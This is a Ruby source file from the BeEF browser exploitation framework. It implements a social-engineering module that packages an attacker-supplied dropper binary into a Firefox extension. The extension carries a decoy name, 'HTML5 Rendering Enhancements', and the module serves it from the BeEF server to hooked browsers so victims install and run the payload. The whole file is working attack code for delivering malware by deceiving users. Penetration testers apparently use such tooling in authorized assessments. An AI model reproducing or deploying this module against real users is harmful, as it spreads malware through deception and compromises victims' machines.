Files
2025-12-26 19:18:05 +10:00

92 lines
3.9 KiB
Ruby

#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Firefox_extension_dropper < BeEF::Core::Command
class Bind_extension < BeEF::Core::Router::Router
before do
headers 'Content-Type' => 'application/x-xpinstall',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
get '/' do
response['Content-Type'] = 'application/x-xpinstall'
extension_path = settings.extension_path
print_info "Serving malicious Firefox Extension (Dropper): #{extension_path}"
send_file extension_path.to_s,
type: 'application/x-xpinstall',
disposition: 'inline'
end
end
def pre_send
# gets the value configured in the module configuration by the user
@datastore.each do |input|
@extension_name = input['value'] if input['name'] == 'extension_name'
@xpi_name = input['value'] if input['name'] == 'xpi_name'
end
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"
extension_path = "#{mod_path}/extension"
# clean the build directory
FileUtils.rm_rf("#{extension_path}/build/.", secure: true)
# retrieve the name of the dropper binary
Dir.foreach("#{mod_path}/dropper") do |item|
if item != 'readme.txt' && item != '.' && item != '..'
@dropper = item
print_info "Using dropper: '#{mod_path}/dropper/#{@dropper}'"
end
end
if @dropper.nil?
print_error "No dropper found in '#{mod_path}/dropper'"
return
end
# copy in the build directory necessary file, substituting placeholders
File.open("#{extension_path}/build/install.rdf", 'w') { |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) }
File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__payload_placeholder__', @dropper) }
File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }
File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }
FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}"
extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper]
# create the XPI extension container
xpi = "#{extension_path}/#{@xpi_name}.xpi"
File.delete(xpi) if File.exist?(xpi)
Zip::File.open(xpi, Zip::File::CREATE) do |xpi|
extension_content.each do |filename|
xpi.add(filename, "#{extension_path}/build/#{filename}")
end
end
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
bind_extension = Firefox_extension_dropper::Bind_extension
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
BeEF::Core::Server.instance.remap
end
def self.options
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.beef_proto
beef_host = @configuration.beef_host
beef_port = @configuration.beef_port
base_host = "#{proto}://#{beef_host}:#{beef_port}"
[
{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },
{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },
{ 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end